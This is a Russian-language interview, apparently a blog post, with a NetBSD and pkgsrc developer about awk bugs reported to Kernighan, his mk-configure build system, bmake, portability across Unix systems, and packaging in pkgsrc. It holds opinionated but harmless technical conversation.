  <p id="VpVW"><em>laizoaarz</em></p>
  <p id="cVNF">Если вкратце, то я очень много в свое время писал на <a href="https://en.wikipedia.org/wiki/AWK" target="_blank">awk</a>. </p>
  <p id="wITg">Напомню, awk — такой язык программирования, хотя и примитивный, но весьма могучий.</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="OrLA">Я awk люблю особенно нежно и очень давно. </p>
  </section>
  <p id="wwqt">Ну и когда писал на нём очень активно, сталкивался с проблемами в реализации для NetBSD, что реализация не соответствует POSIX.</p>
  <blockquote id="UND1">То тут, то там. </blockquote>
  <p id="iBog">Или просто какой-то баг присутствует. </p>
  <p id="BF8p">Я этих багов накопил штук 13, ну и зная что в NetBSD используется реализация Брайна Кернигана, написал непосредственно в upstream — самому Кернигану письмо:</p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="kGRN">дяденька, поправьте пожалуйста вот тут, поправьте вот там, тут у вас баг. </p>
  </section>
  <p id="TXnY">Ответ от него был довольно забавный, в стиле: </p>
  <blockquote id="B7ew">Мальчик, иди отсюда. Это не баги. Моя книга была написана до этого вашего POSIX, поэтому это не баги, это фичи!</blockquote>
  <p id="KyFH">Вот такая весёлая история. </p>
  <p id="5BSS">Зато в NetBSD все эти замечания приняли и внесли исправления. В целом awk был очень сильно поправлен в NetBSD благодаря моим багрепортам. </p>
  <p id="zjfa"><em>alex0x08</em></p>
  <p id="Wk8v">Ребят, если кто не в курсе, я сюда вставлю ссылки, кто такой этот <a href="https://en.wikipedia.org/wiki/Brian_Kernighan" target="_blank">Брайан Керниган</a>. </p>
  <figure id="U7Qc" class="m_column">
    <img src="https://img1.teletype.in/files/c1/d9/c1d9bae7-7f6d-48bc-a8c4-12e8e727b972.jpeg" width="1568" />
  </figure>
  <p id="0uJF">Вы очень сильно удивитесь. </p>
  <p id="65N1"><em>laizoaarz</em></p>
  <p id="4enW">Это очень хороший и известный дядька, конечно же. </p>
  <p id="x4ET">Я учился по его книгам. Но оказался в жизни немножко злобным, хотя это и неудивительно. </p>
  <figure id="jUyY" class="m_column">
    <img src="https://img2.teletype.in/files/91/29/9129e2ee-5bfa-4338-bef1-f6cf441def24.jpeg" width="800" />
  </figure>
  <p id="Hirw"><em>alex0x08</em></p>
  <p id="jHcz">Собственно, это один из авторов языка Си, один из авторов UNIX. </p>
  <p id="sgmW">Фактически исторический персонаж, по уровню события — как если бы вам ответил лично Билл Гейтс. </p>
  <p id="Hn5f"><em>laizoaarz</em></p>
  <p id="qlp7">Ну типа того, да.</p>
  <h2 id="9chp">Проект mk-configure </h2>
  <p id="Rzij"><em>alex0x08</em></p>
  <p id="bxVR">У тебя есть ещё интересные проекты, например <a href="https://github.com/cheusov/mk-configure" target="_blank">mk-configure</a>. </p>
  <p id="b20M">Расскажи? </p>
  <p id="OJCB"><em>laizoaarz</em></p>
  <p id="qBJx">Есть такой, да. Система сборки. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="nZSd">В своё время меня достал «autoshit» так называемый, или «autobloat», в миру <a href="https://en.wikipedia.org/wiki/GNU_Autotools" target="_blank">autotools</a>. </p>
  </section>
  <p id="uIEB">Достал тем, что крайне неудобен в использовании. Да и честно говоря, over-engineering там откровенный, между нами и девочками. </p>
  <blockquote id="c6X2">Я решил, что в принципе против кодогенерации в проектах подобного рода. Это там не к месту, как мне кажется. </blockquote>
  <p id="rNq6">Ну и решил, что вариация make из NetBSD — <a href="https://www.crufty.net/help/sjg/bmake.html" target="_blank">bmake</a> вполне пригодна для того, чтобы реализовать аналогичный функционал. </p>
  <p id="H3Qj">Например проверку на существование в системе какой-то функции. </p>
  <figure id="jyGD" class="m_column">
    <img src="https://img3.teletype.in/files/e9/14/e9149d82-d50b-4825-81d1-353428fc0277.png" width="1920" />
  </figure>
  <p id="xsSK"><em>alex0x08</em></p>
  <p id="GPkB">Сделаем запись на фоне этого замечательного места, на память. </p>
  <p id="a2Vq">Историческое место: </p>
  <blockquote id="oO30"><strong>Храм Воскресения Христова на крови́ (Спа́с на Крови́)</strong> — <a href="https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B0%D0%B2%D0%BE%D1%81%D0%BB%D0%B0%D0%B2%D0%BD%D1%8B%D0%B9_%D1%85%D1%80%D0%B0%D0%BC" target="_blank">православный храм</a>-<a href="https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D0%BC%D1%8F%D1%82%D0%BD%D0%B8%D0%BA" target="_blank">памятник</a> в <a href="https://ru.wikipedia.org/wiki/%D0%A1%D0%B0%D0%BD%D0%BA%D1%82-%D0%9F%D0%B5%D1%82%D0%B5%D1%80%D0%B1%D1%83%D1%80%D0%B3" target="_blank">Санкт-Петербурге</a>, сооружённый на месте, где 1 марта 1881 года в результате <a href="https://ru.wikipedia.org/wiki/%D0%A3%D0%B1%D0%B8%D0%B9%D1%81%D1%82%D0%B2%D0%BE_%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80%D0%B0_II" target="_blank">покушения</a> был смертельно ранен император <a href="https://ru.wikipedia.org/wiki/%D0%90%D0%BB%D0%B5%D0%BA%D1%81%D0%B0%D0%BD%D0%B4%D1%80_II" target="_blank">Александр II</a> (выражение <em>на крови</em> указывает на кровь царя). </blockquote>
  <p id="dx8z">...</p>
  <h2 id="4cDx">Про autotools</h2>
  <p id="qgl6"><em>alex0x08</em></p>
  <p id="ahri">Немного прерву Алексея, чтобы вы понимали контекст. </p>
  <p id="GCA1">Autotools — самая глубокая, самая большая жопа, связанная со сборкой проектов со времён создания языка C. </p>
  <p id="fcxW"><em>laizoaarz</em></p>
  <p id="gZ3h">Не преувеличивай, <code>autotools</code> появился чуть позже.  </p>
  <p id="Jt67"><em>alex0x08</em></p>
  <p id="FHwt">Ну хорошо, тогда с начала девяностых. </p>
  <p id="bEb0">В общем это самая грязная, самая вонючая куча говна, с которой все бегут. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="DM6w">Если вы сделали сборку проекта на этой штуке — гореть вам в аду, что тут скажешь. </p>
  </section>
  <p id="IiT3">Вот этот человек (кивает на Алексея) настолько крут, что попытался создать заменяемый аналог <code>autotools</code>. </p>
  <p id="9eUs"><em>laizoaarz</em></p>
  <p id="Cy7V">Да, он рабочий на самом деле. </p>
  <p id="CNt0">Это работает. </p>
  <p id="Vk0i">Ещё чуть-чуть добавлю для обывателей. </p>
  <p id="4uLb"><code>autotools</code> нужен для того, чтобы сделать проект переносимым на разные платформы — на Solaris, AX, *BSD, на линукс и так далее. </p>
  <p id="rfgy">Для того, чтобы сделать приложение на С или С++ портабельным, очень часто возникает необходимость проверки на то, есть ли в системе нужная системная функция и в случае если нет — подставить собственную реализацию. </p>
  <p id="RWAl"><code>mk-configure</code> это проект, который это же реализует, но при этом гораздо проще и меньше по объёму чем <code>autotools</code>.</p>
  <p id="2Rmt">Построен на базе make из NetBSD (bmake), который сильно отличается от более известного <a href="https://www.gnu.org/software/make/" target="_blank">GNU Make</a>. </p>
  <h2 id="BJpN">Про NetBSD make</h2>
  <p id="HhqZ"><em>laizoaarz</em></p>
  <p id="9cJW">Но <code>bmake</code> мне нравится больше. </p>
  <p id="FUAf">Кстати bmake недавно <a href="https://man.freebsd.org/cgi/man.cgi?query=bmake&sektion=1" target="_blank">добавили во FreeBSD</a> и в <a href="https://man.dragonflybsd.org/?command=bmake" target="_blank">DragonflyBSD</a>. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="RyEl">Так что из NetBSD тоже время от времени что-то растаскивают по другим проектам. </p>
  </section>
  <p id="wk8T"><em>alex0x08</em></p>
  <p id="upvD">Третья система сборки.. </p>
  <p id="oswS">В FreeBSD и так уже свой вариант <code>make</code>, это получается ещё один. </p>
  <p id="G5I6"><em>laizoaarz</em></p>
  <p id="4Kqh">Если сравнивать <code>make</code> из NetBSD, OpenBSD и FreeBSD — тот, который был раньше, то честно говоря, вариации <code>make</code> из OpenBSD и FreeBSD вообще ни о чём. </p>
  <blockquote id="qQtL">Ими нельзя пользоваться. </blockquote>
  <p id="PtjI">Ну прямо совсем неинтересно. <code>bmake</code> значительно богаче по своим возможностям. </p>
  <p id="nF1n">Вот такие страшные дела. </p>
  <figure id="h4Kq" class="m_column">
    <img src="https://img1.teletype.in/files/41/a7/41a7772d-fbd6-490f-8733-63d9c6181fb2.png" width="1920" />
  </figure>
  <h2 id="fPm2">NetBSD и nvmm</h2>
  <p id="wVau"><em>alex0x08</em></p>
  <p id="MobF">А какие фишки именно NetBSD ты чаще всего используешь? Что из нового есть интересное? </p>
  <p id="rdV0"><em>laizoaarz</em></p>
  <p id="DQYe">Ну например в десятую версию добавили <a href="https://www.netbsd.org/docs/guide/en/chap-virt.html" target="_blank">nvmm</a>. </p>
  <p id="MyBV">Это штуковина, которая позволяет запускать виртуальные машины без существенной потери производительности. </p>
  <blockquote id="QeM6">Гипервизор уровня ядра, вроде KVM в линуксе. </blockquote>
  <p id="eHsD">В десятке это наиболее значительная вещь, как мне кажется.</p>
  <p id="3LW8">Из нового. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="XuSA">А в целом я её использую, потому что она няшная. </p>
  </section>
  <p id="yEDQ">Садишься за FreeBSD и руки трясутся от того, что что-нибудь сейчас развалится. Файловая система полетит или что-нибудь выдаст <code>Segmentation Fault</code>. Садишься за какой-нибудь <a href="https://en.wikipedia.org/wiki/Oracle_Solaris" target="_blank">Solaris</a> и думаешь: </p>
  <blockquote id="yYoL">Боже, какое убожество. </blockquote>
  <figure id="PJtf" class="m_column">
    <img src="https://img1.teletype.in/files/83/0e/830ee2c1-c71d-49d5-ad00-ab8d6db91702.jpeg" width="1024" />
  </figure>
  <p id="RvKT"><em>alex0x08</em></p>
  <p id="SMuQ">Хочешь сказать, у тебя и Солярис ещё остался? </p>
  <p id="w4bD"><em>laizoaarz</em></p>
  <p id="EeVB">Ну я по <code>ssh</code> к нему захожу и тестирую свои разработки на Solaris, в том числе. SSH-доступ у меня есть на десятку, на девятку и на одиннадцатую версию.</p>
  <p id="1Laz"><em>alex0x08</em></p>
  <p id="96an">А это какой именно Solaris? Современный или что-то историческое? </p>
  <p id="CkCO"><em>laizoaarz</em></p>
  <p id="aEWq">Есть 10й и 11й на SPARC, это уже Oracle Solaris. Еще есть доступ к Illumos — вчерашний OpenSolaris. </p>
  <p id="1Zcw">Тестирую на всём, да. </p>
  <h2 id="KMlR">Про старые UNIX</h2>
  <p id="oFTH"><em>laizoaarz</em></p>
  <p id="jsIm">Поддержка портабельности это то что стараюсь делать и в своих личных проектах тоже. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="WZ2x">Для меня слово Unix значит гораздо больше, чем слово Linux для некоторых. </p>
  </section>
  <p id="Fl9r">Поэтому все что я делаю, переносимо вплоть до Соляриса, десятого точно. </p>
  <p id="VO1P">До портирования на <a href="https://en.wikipedia.org/wiki/IBM_AIX" target="_blank">AIX</a> ещё не дошел, есть SSH на такую систему, изучаю особенности системы. </p>
  <p id="3ZVz"><em>alex0x08</em></p>
  <p id="ry5c">Это очень специфичные системы, которые находятся в режиме глубокого сопровождения, если и выпускаются патчи, то только патчи безопасности. </p>
  <p id="ehaJ">Как-то так. </p>
  <p id="lPnt"><em>laizoaarz</em></p>
  <p id="BznB">А точно не развивается вообще? </p>
  <p id="n6rB"><em>alex0x08</em></p>
  <p id="33FG">Насколько мне известно нет. </p>
  <p id="9mpL">Остатки разработки как HP-UX так и AIX перенесли в Индию. И сейчас все это находится в режиме сопровождения. </p>
  <p id="PgPw"><em>laizoaarz</em></p>
  <p id="BF9Q">Ну это дорогущие коммерческие системы, коммерческие юниксы, что с ними будет дальше — не знаю. </p>
  <figure id="FgKs" class="m_column">
    <img src="https://img1.teletype.in/files/4f/96/4f96907d-ca0e-4709-a392-c911ae5612cd.png" width="1920" />
  </figure>
  <h2 id="jMLO">NetBSD для новичков</h2>
  <p id="nZMI"><em>alex0x08</em></p>
  <p id="pjWQ">Допустим, кто-то сейчас захочет использовать NetBSD — что ему делать? </p>
  <p id="KAJc">Как во всю эту историю входить? </p>
  <p id="NSZR"><em>laizoaarz</em></p>
  <p id="gNjs">Ну для начала смириться, что NetBSD это не Linux. </p>
  <p id="YrYn">Если вы привыкли в линуксе к чему-то, то вам придётся признать, что BSD — любая BSD и NetBSD в частности это не Linux. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="PQbI">Там всё по-другому, абсолютно всё. </p>
  </section>
  <p id="KRjf">Например, там нет вашего любимого <code>systemd</code>. Привыкайте к тому, что его там нет и не будет никогда. </p>
  <p id="WSwp">Надеюсь. </p>
  <p id="7ntK"><em>alex0x08</em></p>
  <p id="XQAL">Там куда более лютая система. </p>
  <h2 id="Z34D">NetBSD и rc-скрипты</h2>
  <p id="0QIv"><em>laizoaarz</em></p>
  <p id="coBo">В NetBSD в 2000м году придумали <a href="http://mewburn.net/luke/papers/rc.d.pdf" target="_blank">rc.d.</a> </p>
  <p id="63fN">До этого был просто <code>rc</code> или <code>rc.local</code>, куда руками вписывался запуск необходимых демонов в нужном тебе порядке. </p>
  <p id="aCwa">Так вот, в NetBSD сделали <code>rc.d</code>, который тогда же, примерно в начале двухтысячных годов перенесли в FreeBSD. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Utvr">Так что фрибздшная система скриптов запуска взята изначально из NetBSD. </p>
  </section>
  <p id="yiOt">По-моему, используется там до сих пор. </p>
  <p id="Haih">Она намного проще, чем допустим система скриптов запуска в Линуксе и в Солярисе. И на мой взгляд намного приятнее. </p>
  <blockquote id="WtdG">Если бы был адептом Линукса, я бы туда <code>rc.d</code> втащил и был бы счастлив. </blockquote>
  <p id="LF74"><em>alex0x08</em></p>
  <p id="53Ph">На самом деле существуют дистрибутивы с таким <code>rc</code>, вроде Slackware Linux использует такую систему скриптов. </p>
  <h2 id="nOTf">NetBSD и флешки</h2>
  <p id="VE3o"><em>alex0x08</em></p>
  <p id="Ww0D">Ну от <code>systemd</code> честно говоря сам не в восторге, зато вам в NetBSD втащили DBus не так давно. Я его там точно видел. </p>
  <p id="amGs"><em>laizoaarz</em></p>
  <p id="IfSO">Ну, меня он пока не беспокоит, честно говоря. </p>
  <p id="3kyK"><em>alex0x08</em></p>
  <p id="6CjE">Ну а как USB-диски подключать? Или ты вручную монтируешь? </p>
  <p id="TSIP"><em>laizoaarz</em></p>
  <p id="iyCO">Я всю вручную монтирую, я старпёр, извините. </p>
  <p id="Vurf"><em>alex0x08</em></p>
  <p id="KVVE">Всё понятно. </p>
  <p id="rjMp">Ну в FreeBSD это всё живёт уже очень давно. Там, слава богу, от HAL (Hardware Abstraction Layer) избавились, оставили только DBus. </p>
  <p id="4Gex"><em>laizoaarz</em></p>
  <p id="ndhG">Честно сказать, флешками вообще практически не пользуюсь. При наличии интернета зачем таскать что-то на флешках? </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="iMtN">Какие-то физические устройства и на них что-то записывают — я этого не очень понимаю. </p>
  </section>
  <p id="fpDM">То есть у меня проблемы такой нету. </p>
  <p id="sQnR"><em>alex0x08</em></p>
  <p id="p0IZ">Интернет есть не везде.</p>
  <p id="jlWq"><em>laizoaarz</em></p>
  <p id="87qr">Ну я как-то вот не сталкиваюсь с необходимостью что-то втыкать в свой компьютер, если честно. </p>
  <p id="ztIm"><em>alex0x08</em></p>
  <p id="DPwS">Везёт, что тут скажешь. </p>
  <p id="UbQV">Вот мы сейчас видео пишем, часть придётся перебрасывать как раз через флешки, потому что оно всё большое. </p>
  <figure id="EBAj" class="m_column">
    <img src="https://img2.teletype.in/files/d0/ad/d0ad3f40-a7fc-42d2-84c3-d0cdec5bb0c4.png" width="1920" />
  </figure>
  <h2 id="yHYF">Алексей и языки программирования</h2>
  <p id="OgNN"><em>alex0x08</em></p>
  <p id="cLNL">Насколько понимаю, набор языков программирования, которые ты используешь — очень и очень большой.</p>
  <p id="7aI0">Расскажи подрастающему поколению. </p>
  <p id="ngqg"><em>laizoaarz</em></p>
  <p id="xCVh">В разное время я писал на разном. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="gEdI">Начинал с Pascal. Если взять совсем с детства, то начинал с Focal, BASIC и машинных кодов. </p>
  </section>
  <p id="6Zy4">Уже потом, в университете, писал на Паскале. </p>
  <p id="PZ8B">Первая работа на госконтору была на Turbo Pascal 7.0, от Borland. </p>
  <blockquote id="tg5X">Потом C, C++, всякие скрипты, awk, шелл-скрипты, Ruby, Java, Коtlin. </blockquote>
  <p id="JpCa">Самый няшный из перечисленного — Kotlin. </p>
  <p id="VvXm">Вот такой странный набор. </p>
  <p id="NPEP"><em>alex0x08</em></p>
  <p id="CRgK">Спрашивал Алексея заранее насчёт Scala. Как-то так получилось, что Scala при всем этом он обошел стороной. </p>
  <p id="Bxbe">Удивительно! </p>
  <h2 id="Po0q">Про функциональное программирование</h2>
  <p id="axin"><em>laizoaarz</em></p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Qm9U">Я не люблю функциональщину, честно говоря. </p>
  </section>
  <p id="u7K5">Она нерабочая. </p>
  <p id="qU1L">Все эти Haskell, они конечно применимы в узких нишах, но для реального использования это всё не годится. </p>
  <p id="niuH">Как-то так сложилось, что я сталкиваюсь с задачами, требовательными к производительности и не могу защищать диссертации по алгоритмам, изобретённым в шестидесятые, пытаясь «натянуть уже на ежа». </p>
  <blockquote id="bWLT">Я не буду делать функциональщину там, где мне давно известен императивный алгоритм.</blockquote>
  <p id="7NuC">Не буду это делать, поскольку меня просто уволят за такое, если если вдруг не справлюсь. </p>
  <figure id="5Lmo" class="m_column">
    <img src="https://img4.teletype.in/files/74/85/7485c81b-222b-4cab-b435-8f9caf334a74.png" width="1200" />
  </figure>
  <h2 id="GRbq">Kotlin и NetBSD</h2>
  <p id="nOtX"><em>alex0x08</em></p>
  <p id="xDbV">Кстати, а Kotlin и NetBSD у тебя получается сочетать? Работать с Kotlin непосредственно в NetBSD? </p>
  <p id="Nngc"><em>laizoaarz</em></p>
  <p id="asU2">Вот кстати нет. </p>
  <p id="Dx6N">Для разработки на Kotlin использую Linux. Не потому что это невозможно в принципе, а потому что просто слишком сложно и долго компилировать среду разработки Intellij Idea для NetBSD. </p>
  <p id="4Aw0"><em>alex0x08</em></p>
  <p id="DMVf">А я это сделал! Есть сборка Intellij Idea, которая прям работает на NetBSD. </p>
  <blockquote id="LaC4">На момент написания текстовой версии, шла работа по сборке Kotlin на FreeBSD — будет в отдельной статье.</blockquote>
  <p id="N4r3"><em>laizoaarz</em></p>
  <p id="ohmA">Надо мне это тоже сделать и запакетировать Kotlin наконец. </p>
  <figure id="Gxi4" class="m_column">
    <img src="https://img1.teletype.in/files/c4/1d/c41d5d45-d4fd-49c2-95cd-e4ddd5b3cf9f.png" width="1601" />
  </figure>
  <h2 id="VEup">Алексей и Alt Linux</h2>
  <p id="KIgk"><em>laizoaarz</em></p>
  <p id="dhun">С линуксом я знаком намного дольше чем с NetBSD и являюсь давним пользователем Alt Linux тоже. </p>
  <p id="mftU">В него я тоже коммичу, на уровне пакетов. </p>
  <p id="vDFv"><em>alex0x08 </em></p>
  <p id="9EJV">Опыт, получается — глобальный.</p>
  <p id="yyB5">Коль у тебя такой глобальный опыт в качестве коммитера, расскажи как вообще это происходит? </p>
  <blockquote id="DJ7e">Потому что например у меня часто не получается договориться. </blockquote>
  <p id="Nwb3">Есть много своих наработок, которые хочется людям выдать, но постоянно что-то мешает. Где-то это сложная регуляция, где-то просто людям пишешь, а они не отвечают. </p>
  <p id="jmp5">Как у тебя коммуникация выстраивается? </p>
  <figure id="Z5t6" class="m_original">
    <img src="https://img4.teletype.in/files/b6/c4/b6c482d7-09c4-44e8-941c-dbbf51ff2bf6.png" width="744" />
  </figure>
  <h2 id="m8rm">Проект Heirloom</h2>
  <p id="J4As"><em>laizoaarz</em></p>
  <p id="7BkG">Расскажу одну интересную историю. </p>
  <p id="5Fa8">Есть один проект, называется <a href="https://heirloom.sourceforge.net/" target="_blank">Heirloom</a>. </p>
  <blockquote id="6aVi">Это набор утилит, написанный компанией Caldera давным-давно, на рубеже веков. </blockquote>
  <p id="Z07t">И это один из проектов, который я пакетировал в <code>pkgsrc</code>. </p>
  <p id="lVW6">Ну и пока я его пакетировал, естественно возникли вопросы к сборке. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="VvsM">Как уже было сказано, pkgsrc это система кроссплатформенная и собирается на всём. </p>
  </section>
  <p id="dg12">И среди операционных систем, в которых я был заинтересован, была такая система как <a href="https://en.wikipedia.org/wiki/Interix" target="_blank">Interix</a>.</p>
  <p id="0855">Это такой древний предок WSL, подсистема Unix для Windows. </p>
  <figure id="0sa2" class="m_column">
    <img src="https://img2.teletype.in/files/1e/14/1e142325-386e-4b9f-bdf7-5e3dc73dc388.png" width="800" />
  </figure>
  <p id="6HSn"><em>laizoaarz</em></p>
  <p id="HwRk">Такой был забавный юникс внутри винды, под названием Интерикс. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ncz8">И вот этот самый Heirloom под Interix не собирался. </p>
  </section>
  <p id="oAFD">Автору прислал патчи и говорю: </p>
  <blockquote id="EsPi">Слушай, приложи вот эти штуки. Мне для Interix нужно, чтобы оно собиралось. </blockquote>
  <p id="X0t8">Он мне отвечает: </p>
  <blockquote id="60GT">I don&#x27;t support Windows. До свидания. </blockquote>
  <p id="1FYw">Так что взаимодействие бывает и таким, причем регулярно. </p>
  <p id="arnE">Еще часто сталкиваюсь с линуксоидами, которые не заинтересованы в поддержке чего-либо кроме Линукса. </p>
  <p id="ss4g">Такие в последнее время встречаются, в целом этот процесс с патчами — долгий и болезненный.</p>
  <p id="aG6s">Но если умеешь с буржуями общаться, если достаточно вежлив — всё получается, так или иначе. </p>
  <p id="lb4K"><em>alex0x08</em></p>
  <p id="wxSi">Короче если выдаёте патч для известной системы, который исправляет важную проблему — его примут, с большой радостью и охотой.</p>
  <p id="cVvZ">А если нет, то нет ;)</p>
  <p id="TSRM"><em>laizoaarz</em></p>
  <p id="szSg">Да, это занимает много времени. </p>
  <p id="GNGc">Это может кому-то не нравится. Айтишники многие не очень-то любят общаться в принципе. </p>
  <p id="IAJp">Поэтому взаимодействовать с людьми, если хочешь что-то добиться, нужно этому учиться. Иногда приходится блин и поуговаривать кого-то. </p>
  <p id="cWyd">Не без этого. </p>
  <figure id="XEIt" class="m_column">
    <img src="https://img2.teletype.in/files/16/5f/165f8e5e-3951-410c-b1ff-9c452dc7b446.jpeg" width="1000" />
  </figure>
  <h2 id="Ghtd">Еще про pkgsrc</h2>
  <p id="dzKY"><em>laizoaarz</em></p>
  <p id="XG56">Еще из интересного.</p>
  <p id="zG3j">Есть контора называется <a href="http://www.joyent.com/" target="_blank">Joyent</a>, которая взялась в своё время сделать поддержку pkgsrc для <a href="https://en.wikipedia.org/wiki/Illumos" target="_blank">Illumos</a> (форк OpenSolaris). </p>
  <p id="qU02">И они таки её сделали. </p>
  <p id="lJHb">Представляете, под Solaris поддерживается <code>pkgsrc</code> на таком же высоком уровне как и для NetBSD. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="pwFE">В пакетах под Illumos компилируется чуть меньше, чем под NetBSD. </p>
  </section>
  <p id="EJ2k"><em>laizoaarz</em></p>
  <p id="PfCC">Когда-то проект <a href="https://en.wikipedia.org/wiki/DragonFly_BSD" target="_blank">DragonflyBSD</a> был на на развилке в выборе пакетной системы, они отказались на тот момент (лет 10 тому назад) от системы портов из FreeBSD.</p>
  <p id="O59A">Они пришли в NetBSD и один чувак <a href="https://github.com/jsonn" target="_blank">Jorg Sonnenberger</a> из NetBSD Community в одиночку, примерно за год обеспечил поддержку <code>pkgsrc</code> на DragonflyBSD, причем на очень высоком уровне. </p>
  <blockquote id="4XZW">Под Dragonfly pkgsrc собирал больше пакетов, чем под NetBSD. </blockquote>
  <p id="Jo4s">Так что комьюнити <code>pkgsrc</code> заинтересовано в портируемости всех своих пакетов на все возможные операционки. </p>
  <p id="vX3J">Но есть одна сложность: </p>
  <blockquote id="Eqha">человек, пишущий патчи, должен разбираться и в Solaris и в OpenBSD, и в линуксе и делать патч таким образом, чтобы ничего не сломать. </blockquote>
  <p id="ITE8">Это сложный процесс, но коммьюнити, которое бережно к этому относится уже сформировалось. </p>
  <p id="91Tb">Так что приходите. </p>
  <p id="OpGZ"><em>alex0x08</em></p>
  <p id="7xO1">А количество пакетов, пакетная база — сколько примерно? </p>
  <p id="ZVmE"><em>laizoaarz</em></p>
  <p id="cZLQ">Точно не скажу, но их намного больше, чем в OpenBSD, хотя конечно меньше, чем в портах FreeBSD. </p>
  <h2 id="fjI6">Что такое WIP</h2>
  <p id="z1qD"><em>laizoaarz</em></p>
  <p id="pjxT">Есть в <code>pkgsrc</code> точка вхождения, называется <a href="https://pkgsrc.org/wip/" target="_blank">WIP</a>. </p>
  <blockquote id="zOgN">WIP — сокращение от «Work In Progress», т. е. «находится в разработке».</blockquote>
  <p id="CN8c">Куда может прийти любой человек. </p>
  <p id="R1hH">Уметь коммитить для этого совершенно не обязательно. И в этом самом WIP есть один ключевой разработчик, которого я уже упомянул — австриец <a href="https://github.com/0-wiz-0" target="_blank">Thomas Klausner</a>. </p>
  <p id="Kme5">Приходите к нему, заводите аккаунт. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="mM75">WIP это площадка для всех новичков. </p>
  </section>
  <p id="puzS">Тут можно поиграться, запакетировать все чего вам не хватает. </p>
  <p id="IQGe">Попросите кого-нибудь из девелоперов, например меня ваш пакет проверить и закоммитить в основную ветку. Если он собирается, то все будет хорошо. </p>
  <p id="dn7D">Такая тестовая площадка для всех. </p>
  <h2 id="sIx8">Реальное использование NetBSD</h2>
  <p id="HtTQ"><em>alex0x08</em></p>
  <p id="8LMk">Ещё вопрос. </p>
  <p id="UmAz">Про коммерческое.. даже не коммерческое, а просто реальное использование NetBSD, какие-то проекты, компании — кто использует? </p>
  <p id="xJog"><em>laizoaarz</em></p>
  <p id="HpFD">Не слежу за этим делом,  мне важнее что эта система нравится лично мне и я её использую. </p>
  <blockquote id="oMIU">Но некоторое время назад, лет семь или восемь, случайно узнал, что в Витебский Белтелеком в Беларуси заехало какое-то новое сетевое оборудование. </blockquote>
  <p id="Rk2t">У которого в руководстве было написано, что в качестве управляющей ОС используется NetBSD. </p>
  <h2 id="05p9">Реальное использование pkgsrc</h2>
  <p id="HcGC"><em>laizoaarz</em></p>
  <p id="K3eo">А что касается <code>pkgsrc</code>, то уже упомянутая компания <a href="https://joyent.com/" target="_blank">Joyent</a> использует его как родную пакетную систему для Illumos, который они разворачивают у себя в облаке. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="2Z6Q">Так что <code>pkgsrc</code> имеет коммерческое использование, штатные разработчики Joyent довольно активно коммитят. </p>
  </section>
  <p id="GnNf">И они же предоставляют бинарные репозитории <code>pkgsrc</code> для MacOS и для NetBSD. </p>
  <p id="7Irs"><em>alex0x08</em></p>
  <p id="kh2o">При этом, насколько понимаю в пакетах <code>pkgsrc</code> есть очень серьёзные штуки, как минимум у вас есть <code>gcc</code> и <code>clang</code>, со всей сложной обвязкой. </p>
  <p id="hzjy"><em>laizoaarz</em></p>
  <p id="DAUU">Конечно. </p>
  <p id="P7Ek">Честно говоря вообще не понимаю, зачем так много пакетных систем в мире UNIX. </p>
  <p id="214b">Ведь запакетировав единожды, хотелось бы пользоваться этим везде — в линуксе, во всех BSD, в MacOS. </p>
  <p id="E7qY">И <code>pkgsrc</code> решает эту задачу. </p>
  <p id="Vwyw">Вкладываться условно в Debian означает, что создав пакет для Debian, в OpenSuse его не будет. И в NetBSD его не будет.</p>
  <p id="4IyK">Но раз создав пакет для <code>pkgsrc</code>, можно им пользоваться и в OpenBSD и в NetBSD и в линуксе — где угодно. При желании, разворачиваешь в домашний каталог и используешь. </p>
  <p id="v14e">Очень удобно. </p>
  <p id="phs0">Вложился, так вложился. </p>
  <p id="khng"><em>alex0x08</em></p>
  <p id="oS3Q">На самом деле история с кроссплатформенными пакетами стара как мир. </p>
  <p id="GDlB">Их пытались делать ещё во времена Unix Wars, когда только-только появлялся открытый софт. </p>
  <p id="AKXX">И всё свелось в итоге не к технологиям, а к политике. </p>
  <section style="background-color:hsl(hsl(24,  24%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="vIMW">Потому что тот, кто контролирует пакеты — создаёт ценность для конечного продукта. </p>
  </section>
  <p id="MQwg">Это не вопрос технологии по большому счёту. </p>
  <p id="sRmy"><em>laizoaarz</em></p>
  <p id="xuGA">Ну не знаю. У меня нет проблем с тем, чтобы отслеживать работоспособность моих пакетов на разных ОС. </p>
